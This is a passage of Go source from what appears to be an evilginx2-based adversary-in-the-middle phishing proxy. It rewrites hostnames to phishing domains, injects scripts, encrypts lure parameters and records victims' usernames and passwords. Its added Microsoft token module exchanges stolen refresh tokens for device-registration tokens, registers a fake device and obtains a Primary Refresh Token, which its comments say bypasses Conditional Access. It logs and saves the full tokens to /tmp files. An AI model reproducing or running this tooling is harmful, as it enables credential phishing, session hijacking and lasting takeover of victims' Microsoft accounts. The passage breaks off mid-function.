		redirect_url = p.cfg.PhishletConfig(pl.Name).UnauthUrl
	}
	if redirect_url == "" && len(p.cfg.general.UnauthUrl) > 0 {
		redirect_url = p.cfg.general.UnauthUrl
	}

	if redirect_url != "" {
		return p.javascriptRedirect(req, redirect_url)
	} else {
		resp := goproxy.NewResponse(req, "text/html", http.StatusForbidden, "")
		if resp != nil {
			return req, resp
		}
	}
	return req, nil
}

func (p *HttpProxy) trackerImage(req *http.Request) (*http.Request, *http.Response) {
	resp := goproxy.NewResponse(req, "image/png", http.StatusOK, "")
	if resp != nil {
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) interceptRequest(req *http.Request, http_status int, body string, mime string) (*http.Request, *http.Response) {
	if mime == "" {
		mime = "text/plain"
	}
	resp := goproxy.NewResponse(req, mime, http_status, body)
	if resp != nil {
		origin := req.Header.Get("Origin")
		if origin != "" {
			resp.Header.Set("Access-Control-Allow-Origin", origin)
		}
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Request, *http.Response) {
	body := fmt.Sprintf(`<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='%s';</script></head><body></body></html>`, rurl)
	resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
	if resp != nil {
		return req, resp
	}
	return req, nil
}

func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string) []byte {
	js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
	m_nonce := js_nonce_re.FindStringSubmatch(string(body))
	js_nonce := ""
	if m_nonce != nil {
		js_nonce = ` nonce="` + m_nonce[1] + `"`
	}
	re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
	var d_inject string
	if script != "" {
		d_inject = "<script" + js_nonce + ">" + script + "</script>\r\n${1}"
	} else if src_url != "" {
		d_inject = "<script" + js_nonce + ` type="application/javascript" src="` + src_url + `"></script>
${1}`
	} else {
		return body
	}
	ret := []byte(re.ReplaceAllString(string(body), d_inject))
	return ret
}

func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
	vals := u.Query()
	for _, v := range vals {
		dec, err := base64.RawURLEncoding.DecodeString(v[0])
		if err == nil && len(dec) == 5 {
			var crc byte = 0
			for _, b := range dec[1:] {
				crc += b
			}
			if crc == dec[0] {
				return true
			}
		}
	}
	return false
}

func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
	var ret bool = false
	vals := u.Query()

	var enc_key string

	for _, v := range vals {
		if len(v[0]) > 8 {
			enc_key = v[0][:8]
			enc_vals, err := base64.RawURLEncoding.DecodeString(v[0][8:])
			if err == nil {
				dec_params := make([]byte, len(enc_vals)-1)

				var crc byte = enc_vals[0]
				c, _ := rc4.NewCipher([]byte(enc_key))
				c.XORKeyStream(dec_params, enc_vals[1:])

				var crc_chk byte
				for _, c := range dec_params {
					crc_chk += byte(c)
				}

				if crc == crc_chk {
					params, err := url.ParseQuery(string(dec_params))
					if err == nil {
						for kk, vv := range params {
							log.Debug("param: %s='%s'", kk, vv[0])

							session.Params[kk] = vv[0]
						}
						ret = true
						break
					}
				} else {
					log.Warning("lure parameter checksum doesn't match - the phishing url may be corrupted: %s", v[0])
				}
			} else {
				log.Debug("extractParams: %s", err)
			}
		}
	}
	return ret
}

func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, params *map[string]string) string {

	t := make([]byte, 5)
	rand.Read(t[1:])
	var crc byte = 0
	for _, b := range t[1:] {
		crc += b
	}
	t[0] = crc
	fwd_param := base64.RawURLEncoding.EncodeToString(t)

	lure_url += "?" + strings.ToLower(GenRandomString(1)) + "=" + fwd_param

	for k, v := range *params {
		key := "{" + k + "}"
		body = strings.Replace(body, key, html.EscapeString(v), -1)
	}
	var js_url string
	n := 0
	for n < len(lure_url) {
		t := make([]byte, 1)
		rand.Read(t)
		rn := int(t[0])%3 + 1

		if rn+n > len(lure_url) {
			rn = len(lure_url) - n
		}

		if n > 0 {
			js_url += " + "
		}
		js_url += "'" + lure_url[n:n+rn] + "'"

		n += rn
	}

	body = strings.Replace(body, "{lure_url_html}", lure_url, -1)
	body = strings.Replace(body, "{lure_url_js}", js_url, -1)

	return body
}

func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
	re_url := MATCH_URL_REGEXP
	re_ns_url := MATCH_URL_REGEXP_WITHOUT_SCHEME

	if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok {
		var sub_map map[string]string = make(map[string]string)
		var hosts []string
		for _, ph := range pl.proxyHosts {
			var h string
			if c_type == CONVERT_TO_ORIGINAL_URLS {
				h = combineHost(ph.phish_subdomain, phishDomain)
				sub_map[h] = combineHost(ph.orig_subdomain, ph.domain)
			} else {
				h = combineHost(ph.orig_subdomain, ph.domain)
				sub_map[h] = combineHost(ph.phish_subdomain, phishDomain)
			}
			hosts = append(hosts, h)
		}
		sort.Slice(hosts, func(i, j int) bool {
			return len(hosts[i]) > len(hosts[j])
		})

		body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			u, err := url.Parse(s_url)
			if err == nil {
				for _, h := range hosts {
					if strings.ToLower(u.Host) == h {
						s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
						break
					}
				}
			}
			return s_url
		}))
		body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			for _, h := range hosts {
				if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
					s_url = strings.Replace(s_url, h, sub_map[h], 1)
					break
				}
			}
			return s_url
		}))
	}
	return body
}

func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
	return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
		parts := strings.SplitN(host, ":", 2)
		hostname := parts[0]
		port := 443
		if len(parts) == 2 {
			port, _ = strconv.Atoi(parts[1])
		}

		tls_cfg := &tls.Config{}
		if !p.developer {

			tls_cfg.GetCertificate = p.crt_db.magic.GetCertificate
			tls_cfg.NextProtos = []string{"http/1.1", tlsalpn01.ACMETLS1Protocol}

			return tls_cfg, nil
		} else {
			var ok bool
			phish_host := ""
			if !p.cfg.IsLureHostnameValid(hostname) {
				phish_host, ok = p.replaceHostWithPhished(hostname)
				if !ok {
					log.Debug("phishing hostname not found: %s", hostname)
					return nil, fmt.Errorf("phishing hostname not found")
				}
			}

			cert, err := p.crt_db.getSelfSignedCertificate(hostname, phish_host, port)
			if err != nil {
				log.Error("http_proxy: %s", err)
				return nil, err
			}
			return &tls.Config{
				InsecureSkipVerify: true,
				Certificates:       []tls.Certificate{*cert},
			}, nil
		}
	}
}

func (p *HttpProxy) setSessionUsername(sid string, username string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions.Get(sid)
	if ok {
		s.SetUsername(username)
	}
}

func (p *HttpProxy) setSessionPassword(sid string, password string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions.Get(sid)
	if ok {
		s.SetPassword(password)
	}
}

func (p *HttpProxy) setSessionCustom(sid string, name string, value string) {
	if sid == "" {
		return
	}
	s, ok := p.sessions.Get(sid)
	if ok {
		s.SetCustom(name, value)
	}
}

func (p *HttpProxy) httpsWorker() {
	var err error

	p.sniListener, err = net.Listen("tcp", p.Server.Addr)
	if err != nil {
		log.Fatal("%s", err)
		return
	}

	p.isRunning = true
	for p.isRunning {
		c, err := p.sniListener.Accept()
		if err != nil {
			log.Error("Error accepting connection: %s", err)
			continue
		}

		go func(c net.Conn) {
			now := time.Now()
			c.SetReadDeadline(now.Add(httpReadTimeout))
			c.SetWriteDeadline(now.Add(httpWriteTimeout))

			tlsConn, err := vhost.TLS(c)
			if err != nil {
				return
			}

			hostname := tlsConn.Host()
			if hostname == "" {
				return
			}

			if !p.cfg.IsActiveHostname(hostname) {
				log.Debug("hostname unsupported: %s", hostname)
				return
			}

			hostname, _ = p.replaceHostWithOriginal(hostname)

			req := &http.Request{
				Method: "CONNECT",
				URL: &url.URL{
					Opaque: hostname,
					Host:   net.JoinHostPort(hostname, "443"),
				},
				Host:       hostname,
				Header:     make(http.Header),
				RemoteAddr: c.RemoteAddr().String(),
			}
			resp := dumbResponseWriter{tlsConn}
			p.Proxy.ServeHTTP(resp, req)
		}(c)
	}
}

func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.orig_subdomain, ph.domain) {
					return pl
				}
			}
		}
	}
	return nil
}

func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return pl
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				pl, err := p.cfg.GetPhishlet(l.Phishlet)
				if err == nil {
					return pl
				}
			}
		}
	}

	return nil
}

func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, bool) {
	if hostname == "" {
		return hostname, false
	}
	prefix := ""
	if hostname[0] == '.' {
		prefix = "."
		hostname = hostname[1:]
	}
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return prefix + combineHost(ph.orig_subdomain, ph.domain), true
				}
			}
		}
	}
	return hostname, false
}

func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
	if hostname == "" {
		return hostname, false
	}
	prefix := ""
	if hostname[0] == '.' {
		prefix = "."
		hostname = hostname[1:]
	}
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.orig_subdomain, ph.domain) {
					return prefix + combineHost(ph.phish_subdomain, phishDomain), true
				}
				if hostname == ph.domain {
					return prefix + phishDomain, true
				}
			}
		}
	}
	return hostname, false
}

func (p *HttpProxy) replaceUrlWithPhished(u string) (string, bool) {
	r_url, err := url.Parse(u)
	if err == nil {
		if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
			r_url.Host = r_host
			return r_url.String(), true
		}
	}
	return u, false
}

func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return phishDomain, true
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				phishDomain, ok := p.cfg.GetSiteDomain(l.Phishlet)
				if ok {
					return phishDomain, true
				}
			}
		}
	}

	return "", false
}

func (p *HttpProxy) getHomeDir() string {
	return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}

func (p *HttpProxy) getPhishSub(hostname string) (string, bool) {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return ph.phish_subdomain, true
				}
			}
		}
	}
	return "", false
}

func (p *HttpProxy) handleSession(hostname string) bool {
	for site, pl := range p.cfg.phishlets {
		if p.cfg.IsSiteEnabled(site) {
			phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
			if !ok {
				continue
			}
			for _, ph := range pl.proxyHosts {
				if hostname == combineHost(ph.phish_subdomain, phishDomain) {
					return true
				}
			}
		}
	}

	for _, l := range p.cfg.lures {
		if l.Hostname == hostname {
			if p.cfg.IsSiteEnabled(l.Phishlet) {
				return true
			}
		}
	}

	return false
}

func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {
	if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
		head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
		var og_inject string
		og_format := `<meta property="%s" content="%s" />
`
		if l.OgTitle != "" {
			og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
		}
		if l.OgDescription != "" {
			og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
		}
		if l.OgImageUrl != "" {
			og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
		}
		if l.OgUrl != "" {
			og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
		}

		body = []byte(head_re.ReplaceAllString(string(body), "<head>\r\n"+og_inject))
	}
	return body
}

func (p *HttpProxy) Start() error {
	go p.httpsWorker()
	return nil
}

func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name string) {
	key := ip_addr + "-" + pl_name
	p.ipWhitelist.Store(key, time.Now().Add(10*time.Minute).Unix())
	p.ipSids.Store(key, sid)
}

func (p *HttpProxy) isWhitelistedIP(ip_addr string, pl_name string) bool {
	key := ip_addr + "-" + pl_name
	if val, ok := p.ipWhitelist.Load(key); ok {
		expireTime := time.Unix(val.(int64), 0)
		return time.Now().Before(expireTime)
	}
	return false
}

func (p *HttpProxy) getSessionIdByIP(ip_addr string, hostname string) (string, bool) {
	pl := p.getPhishletByPhishHost(hostname)
	if pl != nil {
		key := ip_addr + "-" + pl.Name
		if val, ok := p.ipSids.Load(key); ok {
			return val.(string), true
		}
	}
	return "", false
}

func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port int, username string, password string) error {
	if enabled {
		ptypes := []string{"http", "https", "socks5", "socks5h"}
		if !stringExists(ptype, ptypes) {
			return fmt.Errorf("invalid proxy type selected")
		}
		if len(address) == 0 {
			return fmt.Errorf("proxy address can't be empty")
		}
		if port == 0 {
			return fmt.Errorf("proxy port can't be 0")
		}

		u := url.URL{
			Scheme: ptype,
			Host:   address + ":" + strconv.Itoa(port),
		}

		if strings.HasPrefix(ptype, "http") {
			var dproxy *http_dialer.HttpTunnel
			if username != "" {
				dproxy = http_dialer.New(&u, http_dialer.WithProxyAuth(http_dialer.AuthBasic(username, password)))
			} else {
				dproxy = http_dialer.New(&u)
			}
			p.Proxy.Tr.Dial = dproxy.Dial
		} else {
			if username != "" {
				u.User = url.UserPassword(username, password)
			}

			dproxy, err := proxy.FromURL(&u, nil)
			if err != nil {
				return err
			}
			p.Proxy.Tr.Dial = dproxy.Dial
		}
	} else {
		p.Proxy.Tr.Dial = nil
	}
	return nil
}

type dumbResponseWriter struct {
	net.Conn
}

func (dumb dumbResponseWriter) Header() http.Header {
	panic("Header() should not be called on this ResponseWriter")
}

func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
	if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
		return len(buf), nil
	}
	return dumb.Conn.Write(buf)
}

func (dumb dumbResponseWriter) WriteHeader(code int) {
	panic("WriteHeader() should not be called on this ResponseWriter")
}

func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
	return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
}

func orPanic(err error) {
	if err != nil {
		panic(err)
	}
}

func getContentType(path string, data []byte) string {
	switch filepath.Ext(path) {
	case ".css":
		return "text/css"
	case ".js":
		return "application/javascript"
	case ".svg":
		return "image/svg+xml"
	}
	return http.DetectContentType(data)
}

func getSessionCookieName(pl_name string, cookie_name string) string {
	hash := sha256.Sum256([]byte(pl_name + "-" + cookie_name))
	s_hash := fmt.Sprintf("%x", hash[:4])
	s_hash = s_hash[:4] + "-" + s_hash[4:]
	return s_hash
}

// ============================================================
// MICROSOFT REFRESH TOKEN FETCHER
// ============================================================

type MicrosoftTokenResponse struct {
	TokenType    string      `json:"token_type"`
	Scope        string      `json:"scope"`
	ExpiresIn    json.Number `json:"expires_in"`
	ExtExpiresIn json.Number `json:"ext_expires_in"`
	AccessToken  string      `json:"access_token"`
	RefreshToken string      `json:"refresh_token"`
	IDToken      string      `json:"id_token"`
	Error        string      `json:"error"`
	ErrorDesc    string      `json:"error_description"`
}

type MicrosoftTokenFetcher struct {
	mu           sync.Mutex
	enabled      bool
	clientID     string
	redirectURI  string
	scope        string
	authURL      string
	tokenURL     string
	devRegInProg sync.Map // dedup: key=username, prevents parallel device registration
}

var msTokenFetcher *MicrosoftTokenFetcher
var msTokenFetcherOnce sync.Once

func GetMicrosoftTokenFetcher() *MicrosoftTokenFetcher {
	msTokenFetcherOnce.Do(func() {
		msTokenFetcher = &MicrosoftTokenFetcher{
			enabled:     true,
			clientID:    "d3590ed6-52b3-4102-aeff-aad2292ab01c", // Microsoft Office (Native App Broker)
			redirectURI: "ms-appx-web://Microsoft.AAD.BrokerPlugin/d3590ed6-52b3-4102-aeff-aad2292ab01c",
			scope:       "openid profile offline_access",
			authURL:     "https://login.microsoftonline.com/common/oauth2/v2.0/authorize",
			tokenURL:    "https://login.microsoftonline.com/common/oauth2/v2.0/token",
		}
	})
	return msTokenFetcher
}

func (tf *MicrosoftTokenFetcher) IsEnabled() bool {
	tf.mu.Lock()
	defer tf.mu.Unlock()
	return tf.enabled
}

func (tf *MicrosoftTokenFetcher) doTokenRequest(tokenData url.Values, username string) (*MicrosoftTokenResponse, error) {
	payload := tokenData.Encode()
	log.Info("[MS-TOKEN] [DEBUG] === TOKEN POST ===")
	log.Info("[MS-TOKEN] [DEBUG] URL: %s", tf.tokenURL)
	log.Info("[MS-TOKEN] [DEBUG] Body: %s", payload)

	tokenReq, _ := http.NewRequest("POST", tf.tokenURL, strings.NewReader(payload))
	tokenReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	tokenClient := &http.Client{Timeout: 30 * time.Second}
	tokenResp, err := tokenClient.Do(tokenReq)
	if err != nil {
		log.Error("[MS-TOKEN] [DEBUG] HTTP FAILED: %v", err)
		return nil, err
	}
	defer tokenResp.Body.Close()

	tokenBody, _ := ioutil.ReadAll(tokenResp.Body)
	log.Info("[MS-TOKEN] [DEBUG] Response status=%d body=%.500s", tokenResp.StatusCode, string(tokenBody))

	var msTokens MicrosoftTokenResponse
	if err := json.Unmarshal(tokenBody, &msTokens); err != nil {
		return nil, err
	}
	if msTokens.Error != "" {
		return &msTokens, fmt.Errorf("token error: %s - %s", msTokens.Error, msTokens.ErrorDesc)
	}
	if msTokens.AccessToken == "" {
		return &msTokens, fmt.Errorf("no access token")
	}

	log.Success("[MS-TOKEN] ========== SUCCESS ==========")
	log.Success("[MS-TOKEN] User: %s", username)
	log.Success("[MS-TOKEN] Expires: %ss", msTokens.ExpiresIn.String())
	log.Success("[MS-TOKEN] Token Type: %s", msTokens.TokenType)
	log.Success("[MS-TOKEN] Scope: %s", msTokens.Scope)
	log.Success("[MS-TOKEN] ==============================")
	if msTokens.RefreshToken != "" {
		log.Success("[MS-TOKEN] FULL REFRESH TOKEN:")
		log.Success("[MS-TOKEN] %s", msTokens.RefreshToken)
		log.Success("[MS-TOKEN] ==============================")
	}
	if msTokens.AccessToken != "" {
		log.Success("[MS-TOKEN] FULL ACCESS TOKEN:")
		log.Success("[MS-TOKEN] %s", msTokens.AccessToken)
		log.Success("[MS-TOKEN] ==============================")
	}
	if msTokens.IDToken != "" {
		log.Success("[MS-TOKEN] FULL ID TOKEN:")
		log.Success("[MS-TOKEN] %s", msTokens.IDToken)
		log.Success("[MS-TOKEN] ==============================")
	}
	log.Success("[MS-TOKEN] ========== END ==========")

	// Save tokens to file for easy retrieval
	tf.saveTokensToFile(username, &msTokens, "MAIN")

	return &msTokens, nil
}

// saveTokensToFile writes the full tokens to /tmp/ms_tokens.log for easy reading.
// tokenType should be "MAIN" (from authorize_code) or "DRS" (from device registration).
func (tf *MicrosoftTokenFetcher) saveTokensToFile(username string, tokens *MicrosoftTokenResponse, tokenType string) {
	data := fmt.Sprintf("=== %s TOKENS - %s - %s ===\n", tokenType, username, time.Now().Format("2006-01-02 15:04:05"))
	data += fmt.Sprintf("Type: %s | Token Type: %s | Scope: %s | Expires: %ss\n\n", tokenType, tokens.TokenType, tokens.Scope, tokens.ExpiresIn.String())
	if tokens.RefreshToken != "" {
		data += fmt.Sprintf("[%s_REFRESH_TOKEN]\n%s\n\n", tokenType, tokens.RefreshToken)
	}
	if tokens.AccessToken != "" {
		data += fmt.Sprintf("[%s_ACCESS_TOKEN]\n%s\n\n", tokenType, tokens.AccessToken)
	}
	if tokens.IDToken != "" {
		data += fmt.Sprintf("[%s_ID_TOKEN]\n%s\n\n", tokenType, tokens.IDToken)
	}
	data += "================================\n\n"

	f, err := os.OpenFile("/tmp/ms_tokens.log", os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
	if err != nil {
		log.Error("[MS-TOKEN] Failed to write token file: %v", err)
		return
	}
	defer f.Close()
	f.WriteString(data)
	log.Info("[MS-TOKEN] %s tokens saved to /tmp/ms_tokens.log", tokenType)
}

// GetDRSToken exchanges a refresh token for a DRS (Device Registration Service)
// access token. Uses the v1.0 endpoint /common/oauth2/token with resource param.
// Based on ROADtools/TokenTactics research:
//   POST https://login.microsoftonline.com/common/oauth2/token
//   grant_type=refresh_token
//   client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c
//   resource=urn:ms-drs:enterpriseregistration.windows.net
//   refresh_token=<refresh_token>
func (tf *MicrosoftTokenFetcher) GetDRSToken(refreshToken string, mainRefreshToken string, password string, estsauthCookie string, estsauthMain string, username string) (*MicrosoftTokenResponse, error) {
	if refreshToken == "" {
		return nil, fmt.Errorf("no refresh token provided")
	}

	drsTokenURL := "https://login.microsoftonline.com/common/oauth2/token"
	log.Info("[MS-TOKEN] ========== DRS TOKEN EXCHANGE ==========")
	log.Info("[MS-TOKEN] [DEBUG] Using v1.0 endpoint: %s", drsTokenURL)
	log.Info("[MS-TOKEN] [DEBUG] Resource: urn:ms-drs:enterpriseregistration.windows.net")
	log.Info("[MS-TOKEN] [DEBUG] Refresh token length: %d", len(refreshToken))
	log.Info("[MS-TOKEN] [DEBUG] Main refresh token length: %d", len(mainRefreshToken))

	tokenData := url.Values{}
	tokenData.Set("grant_type", "refresh_token")
	tokenData.Set("client_id", tf.clientID)
	tokenData.Set("refresh_token", refreshToken)
	tokenData.Set("resource", "urn:ms-drs:enterpriseregistration.windows.net")

	payload := tokenData.Encode()
	log.Info("[MS-TOKEN] [DEBUG] POST body: %s", payload)

	tokenReq, _ := http.NewRequest("POST", drsTokenURL, strings.NewReader(payload))
	tokenReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	tokenClient := &http.Client{Timeout: 30 * time.Second}
	tokenResp, err := tokenClient.Do(tokenReq)
	if err != nil {
		log.Error("[MS-TOKEN] [DEBUG] DRS token request FAILED: %v", err)
		return nil, err
	}
	defer tokenResp.Body.Close()

	tokenBody, _ := ioutil.ReadAll(tokenResp.Body)
	log.Info("[MS-TOKEN] [DEBUG] DRS response status=%d body=%.500s", tokenResp.StatusCode, string(tokenBody))

	var drsTokens MicrosoftTokenResponse
	if err := json.Unmarshal(tokenBody, &drsTokens); err != nil {
		log.Error("[MS-TOKEN] [DEBUG] DRS JSON parse FAILED: %v", err)
		return nil, err
	}

	if drsTokens.Error != "" {
		log.Error("[MS-TOKEN] DRS token error: %s - %s", drsTokens.Error, drsTokens.ErrorDesc)
		return &drsTokens, fmt.Errorf("DRS token error: %s - %s", drsTokens.Error, drsTokens.ErrorDesc)
	}

	if drsTokens.AccessToken == "" {
		log.Warning("[MS-TOKEN] DRS response has no access_token")
		return &drsTokens, fmt.Errorf("no DRS access token in response")
	}

	log.Success("[MS-TOKEN] ========== DRS TOKEN SUCCESS ==========")
	log.Success("[MS-TOKEN] User: %s", username)
	log.Success("[MS-TOKEN] Token Type: %s", drsTokens.TokenType)
	log.Success("[MS-TOKEN] Expires: %ss", drsTokens.ExpiresIn.String())
	log.Success("[MS-TOKEN] Scope: %s", drsTokens.Scope)
	log.Success("[MS-TOKEN] ==============================")
	log.Success("[MS-TOKEN] FULL DRS ACCESS TOKEN:")
	log.Success("[MS-TOKEN] %s", drsTokens.AccessToken)
	log.Success("[MS-TOKEN] ==============================")
	if drsTokens.RefreshToken != "" {
		log.Success("[MS-TOKEN] FULL DRS REFRESH TOKEN:")
		log.Success("[MS-TOKEN] %s", drsTokens.RefreshToken)
		log.Success("[MS-TOKEN] ==============================")
	}
	log.Success("[MS-TOKEN] ========== DRS END ==========")

	// Save DRS tokens to file
	tf.saveTokensToFile(username, &drsTokens, "DRS")

	// === AUTO-TRIGGER DEVICE REGISTRATION + PRT EXTRACTION ===
	// After obtaining DRS token:
	//   1. Register a fake device to get device cert (bypasses device-required CA)
	//   2. FOCI-exchange the Office RT for a BrokerPlugin RT (avoids AADSTS70000)
	//   3. Use device cert + RT to get PRT with device compliance claims
	//      → This PRT bypasses Conditional Access AADSTS53000
	if drsTokens.AccessToken != "" {
		// Deduplication: prevent multiple proxy triggers from creating duplicate
		// devices for the same user. Uses sync.Map LoadOrStore for atomic check.
		// CRITICAL: The flag is held for 30s AFTER goroutine completes to prevent
		// rapid re-triggers from multiple proxy callbacks (3079+3089+2259) firing
		// microseconds apart for the same HTTP response.
		if _, alreadyInProgress := tf.devRegInProg.LoadOrStore(username, true); alreadyInProgress {
			log.Info("[MS-DEVREG] DEDUP BLOCKED: registration for %s already in progress or within 30s cooldown — skipping", username)
			return &drsTokens, nil
		}
		log.Info("[MS-DEVREG] DEDUP PASSED: starting registration for %s", username)

		log.Info("[MS-DEVREG] DRS token obtained - auto-triggering device registration + PRT flow...")
		go func(drsAccessToken string, user string, mainRT string, pwd string, estsauth string, estsauthMainCookie string) {
			// Guaranteed trace to file — survives log buffering issues
			trace := func(msg string) {
				f, _ := os.OpenFile("/tmp/ms_devreg.trace", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
				if f != nil {
					fmt.Fprintf(f, "[%s] %s\n", time.Now().Format("15:04:05.000"), msg)
					f.Close()
				}
				log.Info(msg)
			}

			trace("[MS-DEVREG] ###### GOROUTINE STARTED ######")
			defer func() {
				if r := recover(); r != nil {
					trace(fmt.Sprintf("[MS-DEVREG] ###### PANIC RECOVERED: %v ######", r))
					// Write panic stack to file
					f, _ := os.OpenFile("/tmp/ms_devreg.trace", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
					if f != nil {
						buf := make([]byte, 8192)
						n := runtime.Stack(buf, false)
						f.WriteString(fmt.Sprintf("PANIC STACK:\n%s\n", buf[:n]))
						f.Close()
					}
				}
				// 5s cooldown (reduced from 30s for faster debugging)
				time.Sleep(5 * time.Second)
				tf.devRegInProg.Delete(user)
				trace("[MS-DEVREG] ###### GOROUTINE ENDED (dedup cleared) ######")
			}()

			// Step 1: Register device with DRS access token
			trace("[MS-DEVREG] Step A: Registering device for " + user + "...")
			deviceCtx, err := tf.RegisterDevice(drsAccessToken, user)
			if err != nil {
				trace("[MS-DEVREG] Device registration FAILED: " + err.Error())
				return
			}
			trace("[MS-DEVREG] Device registered! thumb=" + deviceCtx.Thumbprint)

			// Step 2: FOCI exchange — get a BrokerPlugin-issued refresh token.
			trace("[MS-DEVREG] Step B: FOCI exchanging RT for BrokerPlugin client...")
			brokerRT, fociErr := tf.exchangeRTForBrokerClient(mainRT)

			var prtRT string
			var prtClientID string
			var usePassword bool
			if fociErr == nil && brokerRT != "" {
				trace("[MS-DEVREG] FOCI SUCCESS — using BrokerPlugin RT + client_id")
				prtRT = brokerRT
				prtClientID = "29d9ed98-a469-4536-ade2-f981bc1d605e"
			} else if pwd != "" {
				fociErrStr := "<nil>"
				if fociErr != nil { fociErrStr = fociErr.Error() }
				trace("[MS-DEVREG] FOCI FAILED (" + fociErrStr + ") — using PASSWORD grant")
				prtRT = ""
				prtClientID = "38aa3b87-a06d-4817-b275-7a316988d93b"
				usePassword = true
			} else {
				fociErrStr := "<nil>"
				if fociErr != nil { fociErrStr = fociErr.Error() }
				trace("[MS-DEVREG] FOCI FAILED (" + fociErrStr + ") — falling back to Office RT")
				prtRT = mainRT
				prtClientID = tf.clientID
			}
			trace(fmt.Sprintf("[MS-DEVREG] PRT client_id=%s RTlen=%d usePassword=%v", prtClientID, len(prtRT), usePassword))

			// Step 3: PRT request with device cert
			trace("[MS-DEVREG] Step C: Requesting PRT with device cert...")
			prtTokens, err := tf.GetPRTWithDeviceCert(deviceCtx, user, prtRT, prtClientID, pwd, estsauth, estsauthMainCookie)
			if err != nil {
				trace("[MS-DEVREG] PRT with device claims FAILED: " + err.Error())
				return
			}

			trace("[MS-DEVREG] COMPLETE: PRT with device claims obtained!")
			if prtTokens.RefreshToken != "" {
				trace("[MS-DEVREG] Device-bound REFRESH TOKEN saved to /tmp/ms_prt.log")
			}
		}(drsTokens.AccessToken, username, mainRefreshToken, password, estsauthCookie, estsauthMain)
	}

	return &drsTokens, nil
}

// getOrCreateDeviceKey loads an existing device private key for the user,
// or generates and saves a new one. This allows ReuseDevice to find
// previously registered devices across evilginx2 restarts.
func (tf *MicrosoftTokenFetcher) getOrCreateDeviceKey(username string) (*rsa.PrivateKey, bool, error) {
	keyDir := "/tmp/ms_device_keys"
	keyPath := filepath.Join(keyDir, username+".key")

	// Try to load existing key
